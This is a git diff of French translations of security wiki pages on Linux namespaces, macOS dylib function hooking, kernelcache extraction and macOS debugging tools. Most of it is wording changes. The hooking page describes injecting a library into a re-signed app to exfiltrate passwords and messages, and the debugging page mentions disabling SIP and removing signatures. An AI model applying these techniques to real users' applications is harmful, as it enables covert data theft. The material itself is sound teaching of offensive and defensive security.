+2. Des mappages d'ID peuvent être établis entre les ID utilisateur et de groupe dans le nouvel espace de noms et ceux dans l'espace de noms parent (ou hôte). Cela **permet aux processus dans le nouvel espace de noms d'avoir des privilèges et une propriété correspondant aux ID utilisateur et de groupe dans l'espace de noms parent**. Cependant, les mappages d'ID peuvent être restreints à des plages et sous-ensembles spécifiques d'ID, permettant un contrôle précis sur les privilèges accordés aux processus dans le nouvel espace de noms.
+3. Dans un espace de noms utilisateur, **les processus peuvent avoir des privilèges root complets (UID 0) pour les opérations à l'intérieur de l'espace de noms**, tout en ayant des privilèges limités en dehors de l'espace de noms. Cela permet **aux conteneurs de fonctionner avec des capacités similaires à celles de root dans leur propre espace de noms sans avoir de privilèges root complets sur le système hôte**.
+4. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUSER`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser les mappages d'ID utilisateur et de groupe associés à cet espace de noms.
-## Laboratoire :
+## Lab:
-### Créer différents Espaces
+### Create different Namespaces
#### CLI
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
-En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
+En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
Erreur : bash : fork : Impossible d'allouer de la mémoire
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
1. **Explication du problème** :
@@ -55,7 +55,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
Pour utiliser l'espace de noms utilisateur, le démon Docker doit être démarré avec **`--userns-remap=default`** (Dans Ubuntu 14.04, cela peut être fait en modifiant `/etc/default/docker` puis en exécutant `sudo service docker restart`)
-### Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
@@ -103,7 +103,7 @@ Dans le cas des espaces de noms utilisateurs, **lorsqu'un nouvel espace de noms
Par exemple, lorsque vous avez la capacité `CAP_SYS_ADMIN` au sein d'un espace de noms utilisateur, vous pouvez effectuer des opérations qui nécessitent généralement cette capacité, comme le montage de systèmes de fichiers, mais uniquement dans le contexte de votre espace de noms utilisateur. Toute opération que vous effectuez avec cette capacité n'affectera pas le système hôte ou d'autres espaces de noms.
> [!WARNING]
-> Par conséquent, même si obtenir un nouveau processus à l'intérieur d'un nouvel espace de noms utilisateur **vous donnera toutes les capacités de retour** (CapEff: 000001ffffffffff), vous pouvez en fait **uniquement utiliser celles liées à l'espace de noms** (montage par exemple) mais pas toutes. Donc, cela en soi n'est pas suffisant pour échapper à un conteneur Docker.
+> Par conséquent, même si obtenir un nouveau processus à l'intérieur d'un nouvel espace de noms utilisateur **vous donnera toutes les capacités de retour** (CapEff: 000001ffffffffff), vous ne pouvez en réalité **utiliser que celles liées à l'espace de noms** (montage par exemple) mais pas toutes. Donc, cela en soi n'est pas suffisant pour échapper à un conteneur Docker.
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index 8c70dd59e..79615255a 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -4,17 +4,17 @@
## Informations de base
-Un espace de noms UTS (UNIX Time-Sharing System) est une fonctionnalité du noyau Linux qui fournit l'**isolement de deux identifiants système** : le **nom d'hôte** et le **nom de domaine NIS** (Network Information Service). Cet isolement permet à chaque espace de noms UTS d'avoir son **propre nom d'hôte et son nom de domaine NIS** indépendants, ce qui est particulièrement utile dans les scénarios de conteneurisation où chaque conteneur doit apparaître comme un système séparé avec son propre nom d'hôte.
+Un namespace UTS (UNIX Time-Sharing System) est une fonctionnalité du noyau Linux qui fournit l'**isolement de deux identifiants système** : le **nom d'hôte** et le **nom de domaine NIS** (Network Information Service). Cet isolement permet à chaque namespace UTS d'avoir son **propre nom d'hôte et nom de domaine NIS indépendants**, ce qui est particulièrement utile dans les scénarios de conteneurisation où chaque conteneur doit apparaître comme un système séparé avec son propre nom d'hôte.
### Comment ça fonctionne :
-1. Lorsqu'un nouvel espace de noms UTS est créé, il commence avec une **copie du nom d'hôte et du nom de domaine NIS de son espace de noms parent**. Cela signifie qu'à la création, le nouvel espace de noms **partage les mêmes identifiants que son parent**. Cependant, tout changement ultérieur du nom d'hôte ou du nom de domaine NIS au sein de l'espace de noms n'affectera pas les autres espaces de noms.
-2. Les processus au sein d'un espace de noms UTS **peuvent changer le nom d'hôte et le nom de domaine NIS** en utilisant les appels système `sethostname()` et `setdomainname()`, respectivement. Ces changements sont locaux à l'espace de noms et n'affectent pas les autres espaces de noms ou le système hôte.
-3. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUTS`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser le nom d'hôte et le nom de domaine NIS associés à cet espace de noms.
+1. Lorsqu'un nouveau namespace UTS est créé, il commence avec une **copie du nom d'hôte et du nom de domaine NIS de son namespace parent**. Cela signifie qu'à la création, le nouveau namespace **partage les mêmes identifiants que son parent**. Cependant, tout changement ultérieur du nom d'hôte ou du nom de domaine NIS au sein du namespace n'affectera pas les autres namespaces.
+2. Les processus au sein d'un namespace UTS **peuvent changer le nom d'hôte et le nom de domaine NIS** en utilisant les appels système `sethostname()` et `setdomainname()`, respectivement. Ces changements sont locaux au namespace et n'affectent pas les autres namespaces ou le système hôte.
+3. Les processus peuvent se déplacer entre les namespaces en utilisant l'appel système `setns()` ou créer de nouveaux namespaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUTS`. Lorsqu'un processus se déplace vers un nouveau namespace ou en crée un, il commencera à utiliser le nom d'hôte et le nom de domaine NIS associés à ce namespace.
## Laboratoire :
-### Créer différents espaces de noms
+### Créer différents Namespaces
#### CLI
```bash
@@ -26,12 +26,12 @@ En montant une nouvelle instance du système de fichiers `/proc` si vous utilise
Erreur : bash : fork : Impossible d'allouer de la mémoire
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
1. **Explication du problème** :
- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font.
-- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'espace de noms PID d'origine.
+- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans le namespace PID d'origine.
- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace.
2. **Conséquence** :
@@ -50,7 +50,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
@@ -61,7 +61,7 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep
```
-### Entrer dans un namespace UTS
+### Entrer dans un espace de noms UTS
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 5285439d6..bc993eea3 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -6,7 +6,7 @@
Créez un **dylib** avec une section **`__interpose`** (ou une section marquée avec **`S_INTERPOSING`**) contenant des tuples de **pointeurs de fonction** qui se réfèrent aux fonctions **originales** et **de remplacement**.
-Ensuite, **injectez** le dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interposition doit se produire avant le chargement de l'application principale). Évidemment, les [**restrictions** appliquées à l'utilisation de **`DYLD_INSERT_LIBRARIES`** s'appliquent également ici](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
+Ensuite, **injectez** le dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interposition doit se produire avant le chargement de l'application principale). Évidemment, les [**restrictions** appliquées à l'utilisation de **`DYLD_INSERT_LIBRARIES`** s'appliquent également ici](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interposer printf
@@ -290,7 +290,7 @@ et ensuite **réenregistrer** l'application :
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
-Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : Mots de passe, messages...
+Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : mots de passe, messages...
> [!CAUTION]
> Notez que dans les versions plus récentes de macOS, si vous **supprimez la signature** du binaire de l'application et qu'il a été exécuté précédemment, macOS **n'exécutera plus l'application**.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index ac73c64bb..a6adc2212 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -47,11 +47,11 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
> [!CAUTION]
> Même si les extensions du noyau sont censées se trouver dans `/System/Library/Extensions/`, si vous allez dans ce dossier, vous **ne trouverez aucun binaire**. Cela est dû au **kernelcache** et pour inverser un `.kext`, vous devez trouver un moyen de l'obtenir.
-Le **kernelcache** est une **version précompilée et préliée du noyau XNU**, ainsi que des **drivers** et des **extensions de noyau** essentiels. Il est stocké dans un format **compressé** et est décompressé en mémoire pendant le processus de démarrage. Le kernelcache facilite un **temps de démarrage plus rapide** en ayant une version prête à l'emploi du noyau et des drivers cruciaux disponibles, réduisant le temps et les ressources qui seraient autrement dépensés pour charger et lier dynamiquement ces composants au moment du démarrage.
+Le **kernelcache** est une **version pré-compilée et pré-lien du noyau XNU**, ainsi que des **drivers** et des **extensions de noyau** essentiels. Il est stocké dans un format **compressé** et est décompressé en mémoire pendant le processus de démarrage. Le kernelcache facilite un **temps de démarrage plus rapide** en ayant une version prête à l'emploi du noyau et des drivers cruciaux disponibles, réduisant le temps et les ressources qui seraient autrement dépensés pour charger et lier dynamiquement ces composants au moment du démarrage.
### Local Kerlnelcache
-Dans iOS, il se trouve dans **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** dans macOS, vous pouvez le trouver avec : **`find / -name "kernelcache" 2>/dev/null`** \
+Dans iOS, il est situé dans **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** dans macOS, vous pouvez le trouver avec : **`find / -name "kernelcache" 2>/dev/null`** \
Dans mon cas, dans macOS, je l'ai trouvé dans :
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
@@ -81,7 +81,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### Télécharger
+### Télécharger
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
@@ -95,7 +95,7 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
Parfois, Apple publie **kernelcache** avec des **symbols**. Vous pouvez télécharger certains firmwares avec des symbols en suivant les liens sur ces pages. Les firmwares contiendront le **kernelcache** parmi d'autres fichiers.
-Pour **extract** les fichiers, commencez par changer l'extension de `.ipsw` à `.zip` et **unzip** le.
+Pour **extract** les fichiers, commencez par changer l'extension de `.ipsw` à `.zip` et **unzip** le fichier.
Après avoir extrait le firmware, vous obtiendrez un fichier comme : **`kernelcache.release.iphone14`**. Il est au format **IMG4**, vous pouvez extraire les informations intéressantes avec :
@@ -113,7 +113,7 @@ Vérifiez si le kernelcache a des symboles avec
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
-Avec cela, nous pouvons maintenant **extraire toutes les extensions** ou celle qui vous intéresse :
+Avec cela, nous pouvons maintenant **extraire toutes les extensions** ou **celle qui vous intéresse :**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index 17bc870a6..b169bdfbc 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -96,7 +96,7 @@ Il sera monté dans `/Volumes`
### Binaries empaquetés
-- Vérifiez l'entropie élevée
+- Vérifiez la haute entropie
- Vérifiez les chaînes (s'il n'y a presque aucune chaîne compréhensible, empaqueté)
- Le packer UPX pour MacOS génère une section appelée "\_\_XHDR"
@@ -116,7 +116,7 @@ Notez que ces noms peuvent être obfusqués pour rendre le reverse engineering d
### Appel de fonction
-Lorsqu'une fonction est appelée dans un binaire qui utilise Objective-C, le code compilé au lieu d'appeler cette fonction, appellera **`objc_msgSend`**. Cela appellera la fonction finale :
+Lorsqu'une fonction est appelée dans un binaire qui utilise Objective-C, le code compilé au lieu d'appeler cette fonction, appellera **`objc_msgSend`**. Ce qui appellera la fonction finale :
.png>)
@@ -134,21 +134,21 @@ arm64-basic-assembly.md
x64 :
-| **Argument** | **Registre** | **(pour) objc_msgSend** |
-| ----------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
-| **1er argument** | **rdi** | **self : objet sur lequel la méthode est invoquée** |
-| **2e argument** | **rsi** | **op : nom de la méthode** |
-| **3e argument** | **rdx** | **1er argument de la méthode** |
-| **4e argument** | **rcx** | **2e argument de la méthode** |
-| **5e argument** | **r8** | **3e argument de la méthode** |
-| **6e argument** | **r9** | **4e argument de la méthode** |
+| **Argument** | **Registre** | **(pour) objc_msgSend** |
+| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
+| **1er argument** | **rdi** | **self : objet sur lequel la méthode est invoquée** |
+| **2e argument** | **rsi** | **op : nom de la méthode** |
+| **3e argument** | **rdx** | **1er argument de la méthode** |
+| **4e argument** | **rcx** | **2e argument de la méthode** |
+| **5e argument** | **r8** | **3e argument de la méthode** |
+| **6e argument** | **r9** | **4e argument de la méthode** |
| **7e+ argument** |
rsp+ (sur la pile)
| **5e+ argument de la méthode** |
### Dump des métadonnées ObjectiveC
### Dynadump
-[**Dynadump**](https://github.com/DerekSelander/dynadump) est un outil pour class-dumper les binaires Objective-C. Le github spécifie les dylibs mais cela fonctionne également avec les exécutables.
+[**Dynadump**](https://github.com/DerekSelander/dynadump) est un outil pour class-dump des binaires Objective-C. Le github spécifie les dylibs mais cela fonctionne également avec des exécutables.
```bash
./dynadump dump /path/to/bin
```
@@ -162,13 +162,13 @@ objdump --macho --objc-meta-data /path/to/bin
```
#### class-dump
-[**class-dump**](https://github.com/nygard/class-dump/) est l'outil original qui génère des déclarations pour les classes, catégories et protocoles dans le code formaté en ObjetiveC.
+[**class-dump**](https://github.com/nygard/class-dump/) est l'outil original qui génère des déclarations pour les classes, catégories et protocoles dans le code formaté en ObjectiveC.
Il est ancien et non maintenu, donc il ne fonctionnera probablement pas correctement.
#### ICDump
-[**iCDump**](https://github.com/romainthomas/iCDump) est un dump de classe Objective-C moderne et multiplateforme. Par rapport aux outils existants, iCDump peut fonctionner indépendamment de l'écosystème Apple et expose des liaisons Python.
+[**iCDump**](https://github.com/romainthomas/iCDump) est un dump de classe Objective-C moderne et multiplateforme. Comparé aux outils existants, iCDump peut fonctionner indépendamment de l'écosystème Apple et expose des liaisons Python.
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@@ -179,7 +179,7 @@ print(metadata.to_decl())
Avec les binaires Swift, étant donné qu'il y a une compatibilité avec Objective-C, il est parfois possible d'extraire des déclarations en utilisant [class-dump](https://github.com/nygard/class-dump/) mais ce n'est pas toujours le cas.
-Avec les lignes de commande **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
+Avec les commandes **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@@ -201,7 +201,7 @@ https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
# Swift cli
swift demangle
```
-## Analyse dynamique
+## Analyse Dynamique
> [!WARNING]
> Notez que pour déboguer des binaires, **SIP doit être désactivé** (`csrutil disable` ou `csrutil enable --without debug`) ou pour copier les binaires dans un dossier temporaire et **supprimer la signature** avec `codesign --remove-signature ` ou permettre le débogage du binaire (vous pouvez utiliser [ce script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
@@ -232,21 +232,21 @@ Son plist est situé dans `/System/Library/LaunchDaemons/com.apple.sysdiagnose.p
- `com.apple.sysdiagnose.kernel.ipc` : Port spécial 23 (noyau)
- `com.apple.sysdiagnose.service.xpc` : Interface en mode utilisateur via la classe Obj-C `Libsysdiagnose`. Trois arguments dans un dict peuvent être passés (`compress`, `display`, `run`)
-### Journaux unifiés
+### Journaux Unifiés
MacOS génère beaucoup de journaux qui peuvent être très utiles lors de l'exécution d'une application essayant de comprendre **ce qu'elle fait**.
-De plus, il y a certains journaux qui contiendront le tag `` pour **cacher** certaines informations **identifiables** de **l'utilisateur** ou de **l'ordinateur**. Cependant, il est possible de **installer un certificat pour divulguer ces informations**. Suivez les explications de [**ici**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
+De plus, il y a certains journaux qui contiendront le tag `` pour **cacher** certaines informations **identifiables** de **l'utilisateur** ou de **l'ordinateur**. Cependant, il est possible de **installer un certificat pour divulguer ces informations**. Suivez les explications [**ici**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
### Hopper
-#### Panneau gauche
+#### Panneau de gauche
-Dans le panneau gauche de Hopper, il est possible de voir les symboles (**Labels**) du binaire, la liste des procédures et fonctions (**Proc**) et les chaînes (**Str**). Ce ne sont pas toutes les chaînes mais celles définies dans plusieurs parties du fichier Mac-O (comme _cstring ou_ `objc_methname`).
+Dans le panneau de gauche de Hopper, il est possible de voir les symboles (**Labels**) du binaire, la liste des procédures et fonctions (**Proc**) et les chaînes (**Str**). Ce ne sont pas toutes les chaînes mais celles définies dans plusieurs parties du fichier Mac-O (comme _cstring ou_ `objc_methname`).
-#### Panneau central
+#### Panneau du milieu
-Dans le panneau central, vous pouvez voir le **code désassemblé**. Et vous pouvez le voir en tant que désassemblage **brut**, en tant que **graphique**, en tant que **décompilé** et en tant que **binaire** en cliquant sur l'icône respective :
+Dans le panneau du milieu, vous pouvez voir le **code désassemblé**. Et vous pouvez le voir en tant que désassemblage **brut**, en tant que **graphique**, en tant que **décompilé** et en tant que **binaire** en cliquant sur l'icône respective :
@@ -256,9 +256,9 @@ En cliquant avec le bouton droit sur un objet de code, vous pouvez voir **les r
De plus, dans le **bas du milieu, vous pouvez écrire des commandes python**.
-#### Panneau droit
+#### Panneau de droite
-Dans le panneau droit, vous pouvez voir des informations intéressantes telles que l'**historique de navigation** (pour savoir comment vous êtes arrivé à la situation actuelle), le **graphe d'appels** où vous pouvez voir toutes les **fonctions qui appellent cette fonction** et toutes les fonctions que **cette fonction appelle**, et des informations sur les **variables locales**.
+Dans le panneau de droite, vous pouvez voir des informations intéressantes telles que l'**historique de navigation** (pour savoir comment vous êtes arrivé à la situation actuelle), le **graphe d'appels** où vous pouvez voir toutes les **fonctions qui appellent cette fonction** et toutes les fonctions que **cette fonction appelle**, et des informations sur les **variables locales**.
### dtrace
@@ -285,7 +285,7 @@ Le nom de la sonde se compose de quatre parties : le fournisseur, le module, la
Pour configurer DTrace afin d'activer les sondes et de spécifier quelles actions effectuer lorsqu'elles se déclenchent, nous devrons utiliser le langage D.
-Une explication plus détaillée et plus d'exemples peuvent être trouvés dans [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
+Une explication plus détaillée et d'autres exemples peuvent être trouvés dans [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
#### Exemples
@@ -343,7 +343,7 @@ C'est une installation de traçage du noyau. Les codes documentés peuvent être
Des outils comme `latency`, `sc_usage`, `fs_usage` et `trace` l'utilisent en interne.
-Pour interagir avec `kdebug`, `sysctl` est utilisé sur l'espace de noms `kern.kdebug` et les MIBs à utiliser peuvent être trouvés dans `sys/sysctl.h`, les fonctions étant implémentées dans `bsd/kern/kdebug.c`.
+Pour interagir avec `kdebug`, `sysctl` est utilisé sur l'espace de noms `kern.kdebug` et les MIBs à utiliser peuvent être trouvés dans `sys/sysctl.h`, ayant les fonctions implémentées dans `bsd/kern/kdebug.c`.
Pour interagir avec kdebug avec un client personnalisé, voici généralement les étapes :
@@ -353,11 +353,11 @@ Pour interagir avec kdebug avec un client personnalisé, voici généralement le
- Obtenir le propre client à partir du traçage avec KERN_KDPINDEX
- Activer le traçage avec KERN_KDENABLE
- Lire le tampon en appelant KERN_KDREADTR
-- Pour faire correspondre chaque thread avec son processus, appeler KERN_KDTHRMAP.
+- Pour associer chaque thread à son processus, appeler KERN_KDTHRMAP.
Pour obtenir ces informations, il est possible d'utiliser l'outil Apple **`trace`** ou l'outil personnalisé [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
-**Notez que Kdebug n'est disponible que pour un client à la fois.** Donc, seul un outil alimenté par k-debug peut être exécuté en même temps.
+**Notez que Kdebug n'est disponible que pour 1 client à la fois.** Donc, seul un outil alimenté par k-debug peut être exécuté en même temps.
### ktrace
@@ -373,13 +373,13 @@ Ou `tailspin`.
### kperf
-Ceci est utilisé pour faire un profilage au niveau du noyau et il est construit en utilisant des appels `Kdebug`.
+Ceci est utilisé pour faire un profilage au niveau du noyau et est construit en utilisant des appels `Kdebug`.
Fondamentalement, la variable globale `kernel_debug_active` est vérifiée et si elle est définie, elle appelle `kperf_kdebug_handler` avec le code `Kdebug` et l'adresse de la trame du noyau appelante. Si le code `Kdebug` correspond à un code sélectionné, il obtient les "actions" configurées sous forme de bitmap (voir `osfmk/kperf/action.h` pour les options).
Kperf a également une table MIB sysctl : (en tant que root) `sysctl kperf`. Ces codes peuvent être trouvés dans `osfmk/kperf/kperfbsd.c`.
-De plus, un sous-ensemble de la fonctionnalité de Kperf réside dans `kpc`, qui fournit des informations sur les compteurs de performance de la machine.
+De plus, un sous-ensemble des fonctionnalités de Kperf réside dans `kpc`, qui fournit des informations sur les compteurs de performance de la machine.
### ProcessMonitor
@@ -424,7 +424,7 @@ Dans [**cet article de blog**](https://knight.sc/debugging/2019/06/03/debugging-
### lldb
-**lldb** est l'outil de **facto** pour le **débogage** binaire **macOS**.
+**lldb** est l'outil de **facto** pour le **débogage** de binaire **macOS**.
```bash
lldb ./malware.bin
lldb -p 1122
@@ -438,10 +438,10 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING]
> À l'intérieur de lldb, déposez un processus avec `process save-core`
-
(lldb) Commande
Description
run (r)
Démarrer l'exécution, qui se poursuivra sans interruption jusqu'à ce qu'un point d'arrêt soit atteint ou que le processus se termine.
process launch --stop-at-entry
Démarrer l'exécution en s'arrêtant au point d'entrée
continue (c)
Continuer l'exécution du processus débogué.
nexti (n / ni)
Exécuter l'instruction suivante. Cette commande ignorera les appels de fonction.
stepi (s / si)
Exécuter l'instruction suivante. Contrairement à la commande nexti, cette commande entrera dans les appels de fonction.
finish (f)
Exécuter le reste des instructions dans la fonction actuelle (“frame”) retourner et arrêter.
control + c
Mettre l'exécution en pause. Si le processus a été exécuté (r) ou continué (c), cela fera arrêter le processus ...où qu'il soit actuellement en cours d'exécution.
breakpoint (b)
b main #Toute fonction appelée main
b <binname>`main #Fonction principale du binaire
b set -n main --shlib <lib_name> #Fonction principale du binaire indiqué
breakpoint set -r '\[NSFileManager .*\]$' #Toute méthode NSFileManager
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Arrêter dans toutes les fonctions de cette bibliothèque
b -a 0x0000000100004bd9
br l #Liste des points d'arrêt
br e/dis <num> #Activer/Désactiver le point d'arrêt
breakpoint delete <num>
help
help breakpoint #Obtenir de l'aide sur la commande de point d'arrêt
help memory write #Obtenir de l'aide pour écrire dans la mémoire
Afficher la mémoire sous forme de chaîne terminée par un caractère nul.
x/i <reg/adresse mémoire>
Afficher la mémoire sous forme d'instruction d'assemblage.
x/b <reg/adresse mémoire>
Afficher la mémoire sous forme d'octet.
print object (po)
Cela affichera l'objet référencé par le paramètre
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Notez que la plupart des API ou méthodes Objective-C d'Apple retournent des objets, et doivent donc être affichées via la commande “print object” (po). Si po ne produit pas de sortie significative, utilisez x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse
disassembly
dis #Désassembler la fonction actuelle
dis -n <funcname> #Désassembler la fonction
dis -n <funcname> -b <basename> #Désassembler la fonction dis -c 6 #Désassembler 6 lignes dis -c 0x100003764 -e 0x100003768 # D'un ajout à l'autre dis -p -c 4 # Commencer à l'adresse actuelle en désassemblant
parray
parray 3 (char **)$x1 # Vérifier le tableau de 3 composants dans le registre x1
image dump sections
Imprimer la carte de la mémoire du processus actuel
image dump symtab <library>
image dump symtab CoreNLP #Obtenir l'adresse de tous les symboles de CoreNLP
+
(lldb) Commande
Description
run (r)
Démarrer l'exécution, qui se poursuivra sans interruption jusqu'à ce qu'un point d'arrêt soit atteint ou que le processus se termine.
process launch --stop-at-entry
Démarrer l'exécution en s'arrêtant au point d'entrée
continue (c)
Continuer l'exécution du processus débogué.
nexti (n / ni)
Exécuter l'instruction suivante. Cette commande ignorera les appels de fonction.
stepi (s / si)
Exécuter l'instruction suivante. Contrairement à la commande nexti, cette commande entrera dans les appels de fonction.
finish (f)
Exécuter le reste des instructions dans la fonction actuelle (“frame”), retourner et s'arrêter.
control + c
Mettre l'exécution en pause. Si le processus a été exécuté (r) ou continué (c), cela fera arrêter le processus ...où qu'il soit actuellement en cours d'exécution.
breakpoint (b)
b main #Toute fonction appelée main
b `main #Fonction principale du binaire
b set -n main --shlib #Fonction principale du binaire indiqué
breakpoint set -r '\[NSFileManager .*\]$' #Toute méthode NSFileManager
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Arrêter dans toutes les fonctions de cette bibliothèque
b -a 0x0000000100004bd9
br l #Liste des points d'arrêt
br e/dis #Activer/Désactiver le point d'arrêt
breakpoint delete
help
help breakpoint #Obtenir de l'aide sur la commande de point d'arrêt
help memory write #Obtenir de l'aide pour écrire dans la mémoire
Afficher la mémoire sous forme de chaîne terminée par un null.
x/i
Afficher la mémoire sous forme d'instruction d'assemblage.
x/b
Afficher la mémoire sous forme d'octet.
print object (po)
